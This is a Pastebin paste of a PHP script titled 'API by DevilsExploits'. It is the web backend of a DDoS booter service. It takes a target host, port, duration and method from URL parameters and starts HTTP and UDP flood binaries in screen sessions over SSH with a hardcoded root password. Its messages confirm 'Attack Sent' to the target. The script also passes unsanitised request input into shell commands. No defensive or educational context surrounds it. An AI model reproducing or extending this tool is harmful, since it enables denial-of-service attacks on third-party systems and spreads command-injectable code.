Advertisement
DevilsExpl0its

API by DevilsExploits

May 13th, 2017
462
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.81 KB | None | 0 0
  1. <?php
  2. //API Script Created by DevilsExploits
  3. ignore_user_abort(true);
  4. set_time_limit(0);
  5.  
  6. $server_ip = "localhost";
  7. $server_pass = "r00t3r";
  8. $server_user = "root";
  9.  
  10. // End API Keys
  11.  
  12. $host = $_GET['target'];
  13. $time = $_GET['time'];
  14. $method = strtoupper($_GET['method']);
  15. $action = $_GET['action'];
  16. $user = $_GET['username'];
  17. $port = $_GET['port'];
  18.  
  19.  
  20. if ($action == "ON") {
  21.  
  22. if ($method == "HTTP") { exec("screen -dmS $user"); $command = "screen -dmS $user ./Http $host"; }
  23.  
  24. if ($method == "UDP") { exec("screen -dmS $user"); $command = "screen -dmS $user ./Attack $host $port 5 1000 5 $time"; }
  25.  
  26. if ($method == "PORN") { exec("screen -dmS $user"); $command = "screen -dmS $user ./Porn $host $port $time"; }
  27.  
  28. if(!$port && !$time)
  29.         {
  30.             echo "Attack Sent to $host using method $method -Process ID $user";
  31.         }
  32.     if(isset($time))
  33.         {
  34.             echo "Attack Sent to $host on port $port for $time seconds using method $method -Process ID $user";
  35.         }
  36. }
  37.  
  38. if ($action == "OFF") {
  39. $command = "screen -S $user -X quit";
  40. echo "All attacks stopped with Process ID $user";
  41.  }
  42. if ($action == "SAVE") {
  43. $command = "killall screen";
  44. echo "You have killed all running attacks.";
  45.  }
  46. if (!function_exists("ssh2_connect")) die("Function ssh2_connect doesn't exist");
  47. if(!($con = ssh2_connect($server_ip, 22))){
  48.   echo "Error: Connection Issue";
  49. } else {
  50.  
  51.     if(!ssh2_auth_password($con, $server_user, $server_pass)) {
  52.     echo "Error: Bad Login";
  53.     } else {
  54.    
  55.         if (!($stream = ssh2_exec($con, $command ))) {
  56.             echo "Error: Unable to Execute Command\n";
  57.         } else {
  58.        
  59.             stream_set_blocking($stream, true);
  60.             $data = "";
  61.             while ($buf = fread($stream,4096)) {
  62.                 $data .= $buf;
  63.             }
  64.             fclose($stream);
  65.         }
  66.     }
  67. }
  68. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement